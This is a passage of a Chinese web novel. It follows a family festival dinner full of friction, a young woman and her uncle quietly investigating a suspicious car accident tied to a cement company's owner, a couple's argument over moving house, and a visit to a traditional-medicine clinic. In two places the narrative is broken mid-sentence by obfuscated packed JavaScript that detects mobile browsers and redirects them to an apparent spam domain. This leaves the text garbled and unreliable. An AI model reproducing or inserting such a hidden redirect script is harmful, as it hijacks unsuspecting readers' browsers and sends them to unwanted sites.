纪月庭笑着说:“没关系,我昨天已经去过了,岳父他们知道我们这边有过节聚餐的习惯,说我是家里的老大,不好缺席,就叫我过来这边了,说是有莉娅他们在就可以。” “那叔叔他们还挺善解人意的,对了,月容姐跟月朗哥呢,怎么也不见他俩身影。” “月容端午也要过去那边过,你姐夫才打发人送的东西,你看,搁那放的就是,月朗这小子打电话过来说要陪女朋友,回不来,今年端午就我们这些人,等待会二叔过来,我们就可以开饭了。” 传岚顺着纪月庭手指的方向看了去,果然在角落里堆着一堆礼盒,点了点头,哦了一声,坐的无聊。 纪月庭问坐传岚旁边的传人:“传人最近学习怎么样,这过了端午马上就要进考场了,应该没什么问题吧。” 传人谦虚地回到:“还好,基本上都学差不多了,再整体梳理下知识点就能进考场了。” 纪月庭说:“那就好嗳,你随家里的两个姐姐,从小学习就好,家里也没怎么太操过心,你只要心态放好,基本没什么大问题,对了,有想好报什么志愿了吗,这考完成绩出了就要填志愿了吧。” 传人看了眼传岚,说:“我听家里的。” 纪月庭笑着说:“听家里的话,你大伯老思想估计还是会让你选个跟医学或者药学相关的专业,到时候出来估计跟你月容姐和传岚姐一样,或者进高校,或者进医院,看你自己喜欢不喜欢,要是不喜欢,还是要说出来呢,要是选个不喜欢的专业,从事不喜欢的行业也挺难受。” 传人嗯了一声,就在传岚背后不说话了,传岚也装在忙,玩手机没接话。 主要是大家年龄差太多,差三岁就有代沟了,更何况这十来岁的,更是没什么话题了。 “哦,对了传人,你来的时候不是说让我提醒下你,回来带一下你的衣服吗,最近天气升温比较快,姑姑那边还是些厚衣服,这会还没开饭,先去上面收拾好,不然待会又忘记了。”传岚似是才想起来,对着传人说道。 传人眨巴着眼睛接话道:“是哦,你不说我差点又忘了,那我上去先收拾。” 传岚见状说:“那月庭哥你先坐啊,我跟着上去看下。” 纪月庭说:“嗯,你们去吧,别太晚了,估计待会就开饭了。” 传岚应了好,就与传人一溜烟上楼了。 传岚躺在床上玩手机:“随便收拾两件意思意思得了,那边新的都穿不过来呢。” 传人翻了翻衣柜,随便抽了两件夏装扔椅子上:“干嘛突然说我要带衣服,我都不知道我什么时候跟你说要你提醒我了。” 传岚翻个身继续玩手机:“这不是没话说吗,乐清姐也不在,年龄差这么大没什么话题聊,呆着无聊,你说咱家也真是奇怪,大伯差二叔两岁,二叔差姑姑三岁,但是姑姑居然差爸爸六岁,也就是大伯差爸爸十一岁,那我们这辈呢,也差不多是这样,大哥差你十六七了吧,你跟他有话题?” 传人坐下,嘟囔到:“我跟你都没什么话题,更何况他。” 传岚也没在意,接着说:“是啊,我们亲姐弟都没什么话题,你让我待下面聊什么,我又不是什么社牛。” “嗳,忘记充电了,你带充电器没。”传岚看着还剩十五的电量,起身寻找充电器。 传人指了指床头柜:“那边抽屉里好像有个充平板的充电器,你先凑和用用。” 传岚拉开抽屉,取出来将手机充上,想着自己还未看完的漫画,将平板顺手拿出来,见平板上有自己用的软件,闲话到:“你有下载这个软件啊,刚好,还省的我再下载了。” 传人看了眼:“那是以前下载的,很久没用了。” 传岚打开软件,因为太久没有打开早已自动退出的账号需要重新登录,页面上显示的是登录账号的手机号,和需要输入的登录密码。 传岚盯着页面看了会,说:“传人,你的账号退出了,我重新登录下,你给我说下验证码。” 传人看了看手机:“验证码?我没收到啊。” 传岚:“怎么会呢,我点的是手机号登录啊,它这边显示的是验证码已发送啊。” 传人走过来,看了眼账号:“哦,这个账号不是用我的手机注册的,这是大伯的号。” 传岚愣了下,问他:“这是大伯的?你干嘛拿大伯的号来注册?” 传人想了想说:“嗯—,因为我那个时候在追海贼王跟火影嘛,看的太入迷导致成绩下降太快,然后充钱太多就被老爸发现了,他就把我的卡收走了,零钱也停了,然后这个软件它不是新人有福利嘛,会有免费的券来用,所以我找大伯他们注册的新账号薅羊毛用。” 传岚问:“所以这个账号是大伯的手机号?” 传人:“是啊。” 传岚:“可是大伯的号不是2543那个号吗?” 传人:“哦,这个是他的闲置号,没有绑卡,所以他才给我用的。” 传岚哦了一声,退出了软件,将平板重新收进了抽屉,躺在床上发呆。 “传岚小姐,二先生到了,大先生叫你们去二厅吃饭。”张姐过来叫吃饭,说是人到齐了,可以准备开饭了。 传人收了手机跟着传岚下去二厅,果然已经陆续在上菜了。 纪明仁见姊妹二人进来,亲热的招呼二人过来坐自己身边,方慧笑着起了身,也招了招手。 传岚快走两步,忙说:“我们坐大哥这就好了大伯,大伯母你快坐下。” 传人跟在后面也附和传岚说道:“是啊大伯,我跟大姐就坐大哥这好了。” 纪明仁继续招手说:“没事,过来坐大伯身边,你大伯母跟你二伯母还有姑姑他们坐近些好聊天,自家家宴不要讲究顾虑,今天人少,你们俩就过来坐我旁边。” 传岚还欲说些什么推辞下,明礼这时开了口:“传岚,你们就坐大伯那没事,今天人少,随便坐。” 两人无奈走过去,传岚将传人推过去坐大伯跟前,自己则隔着坐下了,坐下时看到对面的二叔纪明义在戏谑地笑,也苦笑了一下作罢。 纪明仁对明礼笑着说:“传岚倒也罢了,毕竟一直跟你住,怎么传人才过去你那一年,就跟你亲不跟我亲了,明礼啊,你是不是在背后说我什么坏话了。” 明礼笑着说:“都一样的亲,哪里还分出区别了,倒是大哥你怎么不反省下自己,是不是平时对传人拘太紧,搞得小孩子一到你跟前就腼腆的不行。” 纪明仁笑着说:“有这回事吗,我看传人就很好嘛,很有绅士风度,话是少了点,不过随他妈,安静,不像纪月朗,整天叽叽喳喳的,聒噪的不行,不稳重。要说平日里有没有拘着,我想了下,是没有的,传人是天生温顺,话少的。” 方慧听见纪明仁又在公开场合说月朗,有些不高兴,白了纪明仁一眼,但也没出声。 纪明仁继续说:“传岚就随明德多一点,但比明德又强些,该说话的场合也不露怯,是能撑得起场子的人。” 传岚被无端夸的有些尴尬,笑了笑,也没说话。 这人多你说两句他说两句也就混过去了,人少要是接话可就得一直说下去了,而且现在谈论的话题又是关于他姐弟两人的,传岚也不好加入到长辈的话题里去。 传岚盯着眼前不断上上来的菜,扯着嘴角假笑,每次没话找话总要提两句传岚姐弟,像是彰显什么一样,过于走流程了,反倒有些过犹不及,真不想来参加家庭聚餐,只盼望快点吃完就结束算了。 纪明义钝感十足,炸雷般开口说:“传岚这性格我喜欢,想干什么干什么,有想法,有行动力,倒是传人被大哥跟大嫂养的有些娇气了,一个男孩子,性格这么软弱,一点也不大方。” 董文秋有些无语地看着纪明义皱了皱眉,果然方慧听见这话不同意了,他说:“二弟说这话我就不同意了,这凡事都是一体两面的,在二弟看来是娇气,那在我们眼里就是有风度,我们这样的人家,最是讲究的稳重,整天咋咋呼呼说太多也不好,岂不知‘言多必失’的道理,那有家教的人家,教导出来的子弟小孩,都是懂得谨言慎行,谦逊有礼的,二弟可能不大关注舆论不知道,这网上不知出了多少因说话祸及家里的。” 纪明义喝了口水:“大嫂是关注的多,我这才说一点,大嫂就有一箩筐的道理等着我,这网上祸及家里的,是因为说话吗,还不是自己不干净,要真是因为多说了两句话就惹得家里鸡飞狗跳的,那这样的人家也走不远,想着不惹眼靠苟着那怎么可能呢,还有啊,这传人是谨言慎行话少吗,这都被你们养的没话了。” 方慧被纪明义呛到了,这个小叔子,还是一如既往的又没脑子又嘴快,什么事都凭着自己的喜好来,也不看场合,一点不给大哥大嫂留面。 明礼深知他这个二哥直肠子嘴快,想起什么说什么,谁的眼色也不看,最是容易得罪人,忙出来笑着劝解:“二哥你又胡说了,传人哪里没话了,这是快要高考了,孩子心里装着事,心里有事不爱说话,也就说的少了,平时可活泼了。” 纪明仁见明礼出口调和了,便出口说道:“好了,关于这事仁者见仁智者见智,都不要吵,眼下最重要的就是传人的高考,谁也不能影响到传人的心情,都吃饭吧,再不吃菜都凉了。” 处于话题风暴旋涡中心的传岚和传人此时像两只鹌鹑一样,尽可能的缩小自己的身影,以期不要引起其他人的关注,只默默地夹菜吃。 俩人默默对视了一眼,谁也没有说话,只猛猛吃饭。 这饭吃的真是憋屈,传岚真想像纪乐清一样可以拿工作为由来搪瓷推掉这个聚餐,或者下次也找个要和男朋友去约会的理由不来算了,这都二十好几的人了,还像个小孩子一样老是围着这些长辈干嘛呀,谁喜欢天天听人念经啊。 “我吃好了,大伯大伯母,二叔叔母,还有姑姑大哥,你们慢慢吃,我答应下午帮同学搬东西,就先走了。”传人吃好说道。 “嗯好,对了,搬的什么东西,重不重,这快到关键时候了,可千万不要受伤了。”纪明仁关心问到。 “没有什么重东西,就是住宿同学的一些铺盖什么的,学校说高考期间要清人,我们过去帮忙收拾下,还有其他同学一起。” 方慧说:“那东西应该还蛮多呢,就你们几个学生那哪行啊,叫张叔跟你一起去吧,到时候让他帮忙搬一下。” 传人不想麻烦,推辞到:“不用麻烦了大伯母,我们几个小伙子有力气,而且住宿生东西也不多,不用麻烦张叔过去。” 纪明仁说:“就听你大伯母的吧,刚好让张叔送你过去,明礼跟传岚还要再待会,也不能送你。” 传岚也不想呆,接话:“好啊大伯,我下午也有事要过去,就麻烦张叔也一趟送下我,姑姑就多呆两天啦。” 纪明义也吃完了,擦完嘴漱了漱口,不紧不慢地说:“走吧,一趟,我下午也有事,也捎下我。” 董文秋笑骂:“人家传岚跟传人有自己的事,你又跟着瞎凑什么热闹,大过节的,不好好待家里,又想跑哪去鬼混。” 纪明义说:“有个老朋友演出,路过待几天,晚上说要聚一下,我也懒得开车。” 纪明仁说:“那就你们一起过去,明义晚上要是喝了酒就叫车回来。” 收拾好东西,这边张叔载三人到市里,传岚说要跟着二叔凑热闹去看演唱会,便中途和纪明义下车了,叫张叔直接送传人过去就好。 “去哪啊?”纪明义开口问到。 “嗳?不是说要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530094|186364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去看演唱会吗二叔?”传岚疑惑地问。 “少装了,哪来的演唱会,我就那么随口一说,我不信你不知道,走吧,这附近有家甜点不错,去喝点小饮料。” “咦,二叔说瞎话的功夫见长啊,我根本没听出来你随口说的。”传岚跟在身后。 “少来了,没大没小的。” 俩人打车到店里,找了个安静好说话的地方,不过因是下午时间,店里人很少。 “一份柠檬巴巴露亚,一份太妃布丁,再来一份梦幻云朵慕斯,一份茉莉青提椰奶冻,一杯粉月光柠檬茶。”传岚点完将菜单递给纪明义,“二叔,你要喝什么。” “一杯香橙冰美式,谢谢。”纪明义接过菜单,“你没吃饱吗,点这么多。” “没有,氛围太压抑了,我没什么心情吃。” “哈哈,怎么,中午吃饭的时候吓到你了,你不像被吓到的人啊,我们才说几句话啊,都没吵起来。” 传岚叹口气:“你们都是长辈,自己这么说不觉得有什么,我跟传人是小辈,听你们讲这些,尤其是有争执的谈话,夹在中间很为难啊,气氛太焦灼了,我们俩都恨不能有隐身的本事。” 纪明义偏头思考了会:“是吗,你们真这样想,觉得不舒服吗?” 传岚说:“何止不舒服啊,简直如坐针毡,人多还好些,今天就我跟传人两个,当然月庭哥不算,我们两好难做哦。” 纪明义从未想过这样,仔细想想,确实也有这种可能,他点了点头:“你二叔母常说我粗神经,我还说他敏感,原来真有可能是这样,我这样说话说惯了,倒还不知道你们小辈在场听到会觉得难做,下次我注意些,或者下次我说话的时候,你们就避着点。” 传岚哭笑不得,无奈点了点头。 闲聊完,进入正题,传岚吃着蛋糕不经意地问:“那二叔,你查的怎么样了?有什么进展吗?” 纪明义靠在沙发上,将查到的资料放在桌上,示意传岚自己去看,“你说的那个杨贵我没查到,不过泰安长红水泥厂的老板常有财倒是有些眉目。 “这个常有财据说以前是个地痞流子,打架斗殴这种事也是家常便饭见怪不怪,后来不知怎么入了赖大发的眼,搭上安心地产后也算起飞了。 “泰安的法人是常有财,它的股权结构呢主要由常有财,李涛,常宏,张慧芳,张武,赖祖斌几个组成,张慧芳18年的时候退出了股权结构,除了张武和赖祖斌,剩下的几个人都是亲戚关系。” “这个张慧芳跟他们是什么关系,为什么退出股权了?” “哦,张慧芳啊,她是常宏的老婆,是个会计,你知道的,这种小公司最喜欢找会计当老婆了,22年泰安卖给瑞祥后,常宏就和张慧芳离婚了。这个赖祖斌呢,是赖大发的小儿子,目前在美国留学。” 传岚看着手里的资料有些愁,原以为有了李大奎提供的线索,起码还能找出跟他接头的那个人,但是居然是查无此人。如果只是这样的话,就目前的信息来看,好像距离真相的大门还很远。 “没有找到杨贵是什么意思呢二叔,是没这个人呢还是暂时没查到他的信息?” “没这个人,我找人查了泰安八年前就职的员工信息,没有叫杨贵的人。” 传岚吃着蛋糕没说话,以李大奎想要赎罪的表现来看,他不像是说谎的样子,也就是说,确实有杨贵这么个中间人,至于他是不是真的叫杨贵现在还有待商榷,但是可以确定的是,中间人杨贵绝无可能是背后的人。 李焕杰说他的三十万走的是泰安公司的帐,那么显然车祸这个事,他们公司的核心人物是知情的,传岚不相信以常有财的性格,他会这么好心,好心到给一个做了几天的临时工积极处理车祸的肇事后续还进行人道主义赔付。 这样看的话,这个背后的人极有可能就是常有财了,就算不是也跟他脱不了干系。 可是没有证据,再多的猜想也都是泡沫罢了。 纪明义见传岚一口一口地吃蛋糕,也不说话,并不觉得他是真的饿了,开口道:“目前并没有直接的信息表明这几个人跟明德有过联系,你有听你爸提起过他们吗。” 传岚清了清口:“没有,我有翻阅过我爸的笔记,没见过这几人的名字。” “没有的话那就只有先找到杨贵这个人了,找到他或许会有其他发现也说不定。” “但是你不是说没有杨贵这个人嘛。” “没有杨贵这个人,但我觉得肯定有李大奎说的那个人,李大奎作为临时工,对泰安里面的人员都不熟悉,听错名字也不奇怪,你回去 再仔细问问他,让他再好好想一想有没有其他的信息能够提供。” 传岚应了好后问到:“二叔,你说这个车祸背后的人就是常有财呢,还是说常有财也只是一个中间人呢。” 纪明义看着传岚,又挪开了眼,“谁知道呢,如果是他,他跟明德都不认识,这起车祸的动机是什么呢,如果不是他。” 传岚看着纪明义,重复着纪明义的话问到:“如果不是他呢?” 纪明义轻叹了口气:“如果不是他,那又是谁呢,明德是做了什么还是发现了什么才被牵扯进去了,是什么厉害的事,非要到灭口这一步呢,感觉越查牵扯的越多,也不知道后面还能不能查出来。” “二叔,你是知道什么吗?” “我不知道,只是有这个预感罢了。” 俩人说完都沉默了,好像谁都没做好直面真相到底的准备,但从知道车祸并非无意开始,两人也心知肚明肯定要扯出些什么东西,所以谁也没问是否有能力承受真相的冲击,只当无知无畏,为了真相的渴求而走一步看一步。 “二叔,你再从张慧芳这入手查一查吧,我觉得从他这入手,应该能有些什么发现。” “怎么说?” “张慧芳是18年跟常宏离的婚,而泰安却是22年卖出去的,我认为张慧芳作为泰安的财务兼会计,还是常有财的儿媳妇,只要脑袋不发昏,一般来说是不会主动离婚的,这种配置,只要他不离婚,他跟他的小孩就可以继承到泰安,得到利益最大化,离婚对他来说没有任何好处,可是他为什么离婚了呢,是有什么原因吗,是他自愿的吗,我猜肯定是发生了什么才致使张慧芳不得不答应离婚。 “而张慧芳作为这种家庭式小公司的财务兼会计,必然知道很多别人不知道的事,若是他没有离婚,作为利益一体,我们反而还打听不来什么消息,但既然他已经离婚了,而且还很有可能是被迫离的婚,那找他打探消息是最适合不过的了,没有什么比从一个被伤害的前妻那得来的消息更真实的了。” 纪明义考虑了一会,说了句:“好”。 “没有演出的话,那二叔接下来要去哪,我待会就先回仁济堂了。”传岚处理完碟子里最后一口点心。 “你去吧,我自己再待会,晚点去找几个朋友聚一聚。” “那我就先走了啊二叔。”传岚打完招呼就走了,留下纪明义一人在那发呆。 16. 守株待兔,冥冥中自有天意 方慧坐在梳妆镜跟前,想起前些日子被小叔子抢白的事,心里腾地又升起一股火,将手里的耳环摔将在桌上。 纪明仁系好领带,朝着方慧看去:“怎么一大早就发脾气,谁又惹你了?” 方慧气呼呼的说道:“还能有谁,这家里还能有谁不长眼惹我,还不是你那好弟弟,这么大人了,还是一副无赖的样子,一点不把我放眼里,好说我也是他大嫂,你是他大哥,不说多尊重,总要体面些,凡事都让面上过去才好,他倒好,不管什么场合,只管自己嘴巴过瘾,倒叫我没脸。” 纪明仁过来安抚道:“好了,他又不是一天两天就是这样的,你嫁来我们家不是早就知道了吗,现在指望他改过来怎么可能呢。” 方慧气不过,反驳道:“那我嫁过来才二十几,人年轻没什么,可现在我都五十好几的人了啊,我连孙子都有了,他还这样在人前跟我说话,你叫我在孩子们跟前怎么做人。” 纪明仁有些无奈,他这二弟自小就这样,现在都一把年纪了,又不能像小时候那样去说他了:“没有这么严重吧,不过是意见不合多说两句而已,你别放心上就好了,明礼还是很好嘛,也很尊重你。” 方慧见他又在混稀泥,拉偏架,不由得说了重话:“谁说明礼了,明礼尊重我还用说嘛,现在说的是纪明义,你看看你,还有没有个当大哥的样了,底下弟弟说话都不听,更何况我,反正你就由着他吧,我看这家里是一点都没有个长幼尊序的样了。” 纪明仁息事宁人劝到:“明义只是嘴上不饶人,多说两句,但是大事上还有很懂分寸的,你也别太计较了。” 方慧气的站起来说:“纪明仁,这是我计较吗,你怎么老是替你弟弟妹妹说话,你替他们着想,他们有替你着想吗,就说上次,明义他当着大家的面就说我们没把传人养好,这是多大的一口锅啊,就扣我们头上了,这本来养亲戚的孩子就是难,生怕养不好被人指着脊梁骨说。 “当初你要抚养传人我就不大同意,明礼没有孩子给他多好,你非不行觉得自己是这家里的大哥,要担起责任,要抚养传人,这几年,我们把传人当亲生的来养,生怕他哪里不舒心,我重话都没说过一次,他纪明义倒是轻省,轻飘飘一句养娇气了就扣我们头上,这是做弟弟该说的话吗?这是懂分寸的人说出来的话吗?这叫别人听去怎么说我们,不知道的还以为我们憋着坏的故意养成这个样子了呢。” 纪明仁听的头疼,想出去躲清闲,没走两步又被叫住。 方慧不想说话说一半,喊住纪明仁继续说:“你站住,我上次跟你说的分家你考虑的怎么样了,我跟你说我是不同意你这些弟弟妹妹侄子侄女再过去碧玺那的,买碧玺山庄的钱用的我们自己的钱,跟他们可没什么关系,我们一家人也多,在新家那装修只够自家人住的,你别想再拉着他们一起了。” 纪明仁似是有些生气,折返回来一屁股坐下:“你干嘛又说这个,一家人住一起怎么了,多热闹啊,平时孩子们都在自己家过自己的小日子,就我们两个老家伙,好不容易过节大家过来热闹几天,你干嘛这么小气。那碧玺都快2000平了,就住我们几个多空啊,多留几个房间给孩子们住怎么了,又不是天天住一起,你要人家跟你天天住一起人家还不愿意呢。 “再说了,这儿多好啊,空气又好,环境又好,我在这住了快大半辈子了,这儿就是我的家,我哪也不去,要去你自己去。” 方慧被气的有些委屈,他还不是想过自己的小日子,这以前老爷子在的时候就喜欢人多,不让搬出去,好不容易他走了能自己做主了,得,这冤家像是继承了他爸的喜好一样,也喜欢热闹,不愿意分家搬出去。 方慧气的又坐回凳子上,赌气说:“你爱搬不搬,我后面就找人重新设计搬过去跟孩子们自己住,你就在这等着你的好兄弟好侄子过吧,还有,程万通的局你自己去吧,我没心情去了。” 纪明仁也不惯着,直接说:“多大的人了,还这么爱生气,那你歇着吧,我自己去。” 纪明仁说完就走了,留下方慧一个人在那生闷气。 那边李焕杰在和李大奎坦诚交谈后明白了自己父亲确实这几年来都背负着良心的谴责,了解了父亲的决心和涉事的人是谁后,李焕杰深知这已不是能随自己心意就混过去的事了,所以他无可奈何的妥协了。 听齐院长说传岚小姐家的仁济堂在看失眠多梦这块相当有名,于是李焕杰就过来了,他想,起码要让父亲不再受噩梦的纠缠,再次睡得安稳些。 “您好,是看病还是抓药啊?”卓雅见来人进来也不拿号也不说话,一个劲的打量仁济堂里的陈设,遂出口问到。 “看病。”被冷不丁询问后李焕杰下意识回答,后反应过来又说,“我们找传岚小姐。” “找传岚的啊,等会啊,我去问下。”卓雅进去传岚的办公室,见传岚在看书,说:“传岚,外面有人找你。” 传岚合上书,问到:“谁啊。” 卓雅说:“忘记问叫什么了,不过是一个老头跟一个小伙子。” 传岚意识到来人可能是李大奎父子,忙起身出去。 前段时间忙着传人高考的事,也就忽略了李大奎,等李焕杰带着人找上门的时候,传岚才想起这事。 “想好了吗?”传岚将人领进来开门见山就问。 “想好了,我会出来作证的。”李大奎没有动摇,仍然是最初的那个答案。 “那你呢,李焕杰,还要阻拦吗?”传岚看向李焕杰问到。 李焕杰看了眼李大奎,盯着桌子说:“不了,要是能让我爸心里好受点,他愿意我没话说。” 传岚说:“好,那今天过来是只为了说这个还是有其他事。” 李焕杰抬头说:“齐院长说你们看失眠多梦看的很好,上次你自己也说了,叫我们来找你看病,今天过来,主要是想让你帮忙看下我爸做噩梦的病。” 传岚点头表示了解:“多梦的事交给我,待会我带李大奎过去找纪教授看诊,只是我有一个要求,就诊的时候不许提及自己撞人的事,要是他问起来你有什么纠结的事,就说前不久老伴没了,剩自己一个心里有些凄凉。” 李焕杰有些犹豫,这种欺瞒医生的行为让他对传岚的说法有些质疑,他没法不怀疑自己来仁济堂的决定是否是正确的。 传岚看出了李焕杰的犹豫,干脆直接出口说明白:“纪教授是我姑姑,我爸爸的姐姐,我想他对你爸爸的名字应该不会太陌生,要是他说自己的心结是撞了人,我姑姑联想起来,你觉得他还会为你诊疗吗?” 听了传岚的解释,李焕杰恍然大悟,便也没有了犹豫,跟随传岚换了办公室,过去找纪教授看病。 “姑姑啊,这是上次在养老院里的李大爷,他最近睡不好老是做噩梦,齐院长推荐过来看多梦的。” “哦,从养老院里赶过来的,快请坐。”明礼扶了扶眼镜看了眼李大奎,没有太大的印象。 明礼照例问到:“睡不好是吧,大概是什么时候开始的,都是些什么症状啊。” 李大奎说:“就是觉少睡不着,好不容易睡着了完了一直做噩梦。” 明礼看了眼站旁边的传岚,摸完脉继续问患者,“最近有什么压力吗,看你心事有点重。” 李大奎没说话,旁边的李焕杰说:“我妈前段时间没了,我爸心里难受,一直郁郁寡欢。” 明礼感觉怪怪的,按理说老伴没了,感情好的接受不了一方离世是会有骤然生病的例子,这忧思过多郁郁寡欢也是有的,多想起跟老伴一起生活而睡不着或者梦见老伴的,这少听见做噩梦的。 不过见人是传岚带过来的,想是传岚有自己的想法,明礼也未深究,就根据李大奎的身体状况及病症开了方子,交给了传岚。 “先按这个方子吃两周,要是不做噩梦了,就把药吃完为止,要是药吃完还没用,过来再复查下。” 李焕杰道了谢,拿了方子带着李大奎出去抓药,传岚也跟着出去了。 传岚将两人送到门外,想起二叔的叮嘱,问到:“对于杨贵,你还有其他信息吗,或者,除了杨贵,还有没有其他方面的线索,我们找人打听了,招你的那个水泥厂,没有杨贵这个人。” 李大奎挠挠头,为难地说,“没有了,就这些。”说完停顿了一会又说:“不过我听喊杨贵那人的口音有点像北边的,还带点儿话音,不知道有没有用。” 传岚记下,说:“行我知道了,这件事就先这样,你按时吃药,早点睡觉,没其他什么事就先回去吧,有什么事再联系。” 传岚打发走两人进来,见姑姑不知什么时候从办公室出来了,传岚装没事人一样进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明礼说:“萝卜青菜各有所爱,要百花齐放才好。而且一个人的喜好跟观念不是一成不变的,它是会随着自己年龄的增长和见识的宽广而逐步甚至突然发生变化的。 “举个例子,就拿我自己来讲,我小的时候觉得红色可俗气,看见别的小孩穿红就觉得俗的不得了,但现在我却觉得红色很好看,哪怕在衣服上我无法驾驭它,但我仍然很喜欢这个颜色。 “这一讨厌一喜欢可是截然相反的情感,但它在不同时间存在于同一个我身上,哪一个都是真实的,而喜好讨厌的对象从未发生过改变,变化的只是我本身,年少的我和中年的我是一个人又不是一个人。 “所以不要着急,我们中医就像红色这个颜色一样,不用有什么变化,自然会有喜欢它的人来。当然,中医不需要变化,但是你们的医术还是要不断精益的。” 卓雅听到例子部分,像是有共鸣一般站起来马上接话到:“纪老师你说的这个我懂,我以前可喜欢看言情剧了,能不睡觉的彻夜抱着看,不喜欢看严肃的战争剧历史剧什么的,但现在反而喜欢看些严肃的或者讲剧情的内容,不喜欢看言情剧了,总觉得那些言情剧都披着一样的皮,演的什么不用看都能猜出来。” 明礼笑了笑,说:“差不多,反正就是这个意思。” 赵鹏飞在柜台后笑着摇了摇头,听他们两人说话。 传岚大多时候也听着,并不发表意见,见姑姑说差不多了,开口接话:“别的不说,就这个小程序我觉得我们可以尝试下,先做个小程序出来,也不用多复杂,就整个预约和同城快递送药的功能,这样也省的患者一趟趟的跑了,到时候再写点养生科普类的文章,出一些适合年轻人的养生茶,也算是拉近跟年轻人的距离了。” 明礼听了,心里有些意动:“这倒是个好主意,我见现在的年轻人锻炼又少压力又大,身体又虚精神又弱,平时又不懂得怎么保养身体,说起养生,除了枸杞一问三不知,小毛病多得很,要是能科普推广起来,让他们早早保养身体,也算是件好事。” 传岚见姑姑有兴趣,就干脆让他跟大伯去说好了:“那姑姑你就去找大伯说下这个事,后面科普类的文章我来负责就好了。” “好啊。”明礼说完就进了办公室,跟纪明仁打电话去了。